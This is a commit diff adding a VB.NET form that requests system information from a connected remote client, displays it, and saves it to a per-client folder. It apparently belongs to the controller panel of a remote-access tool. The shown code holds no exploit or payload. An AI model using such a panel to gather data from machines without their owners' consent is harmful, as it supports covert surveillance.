initial commit
This commit is contained in:
@@ -0,0 +1,68 @@
|
||||
Imports System.IO
|
||||
Imports System.Text
|
||||
Imports System.Threading
|
||||
Public Class INFO
|
||||
|
||||
Public C As Client
|
||||
Public CID As String
|
||||
Private Sub INFO_Load(sender As Object, e As EventArgs) Handles MyBase.Load
|
||||
Refresh()
|
||||
End Sub
|
||||
Public Sub Refresh()
|
||||
|
||||
ListView1.Items.Clear()
|
||||
|
||||
ToolStripStatusLabel1.ForeColor = Color.Black
|
||||
ToolStripStatusLabel1.Text = "Wait.."
|
||||
|
||||
Dim B As Byte() = SB("GetInformations")
|
||||
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend),B)
|
||||
|
||||
End Sub
|
||||
|
||||
Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
|
||||
Try
|
||||
If Not C.IsConnected Then
|
||||
Close()
|
||||
End If
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub INFO_FormClosing(sender As Object, e As FormClosingEventArgs) Handles Me.FormClosing
|
||||
Dim B As Byte() = SB("CloseInformations")
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End Sub
|
||||
|
||||
Private Sub ToolStripMenuItem4_Click(sender As Object, e As EventArgs) Handles ToolStripMenuItem4.Click
|
||||
Refresh()
|
||||
End Sub
|
||||
|
||||
Private Sub SaveToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles SaveToolStripMenuItem1.Click
|
||||
Try
|
||||
If ListView1.Items.Count > 0 Then
|
||||
Dim fullPath = Path.Combine(Application.StartupPath, "ClientsFolder", CID, "Information")
|
||||
|
||||
If Not Directory.Exists(fullPath) Then
|
||||
Directory.CreateDirectory(fullPath)
|
||||
End If
|
||||
|
||||
Dim SB As New StringBuilder
|
||||
|
||||
For Each LV As ListViewItem In ListView1.Items
|
||||
SB.Append(LV.SubItems(0).Text)
|
||||
SB.Append(Environment.NewLine)
|
||||
Next
|
||||
|
||||
Dim objWriter As New System.IO.StreamWriter(fullPath & "\" & "Information_" & DateAndTime.Now.ToString("MM-dd-yyyy HH;mm;ss;fff") & ".txt", False)
|
||||
objWriter.WriteLine(SB.ToString)
|
||||
objWriter.Close()
|
||||
|
||||
End If
|
||||
Catch ex As Exception
|
||||
MessageBox.Show(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
End Class
|
||||
Reference in New Issue
Block a user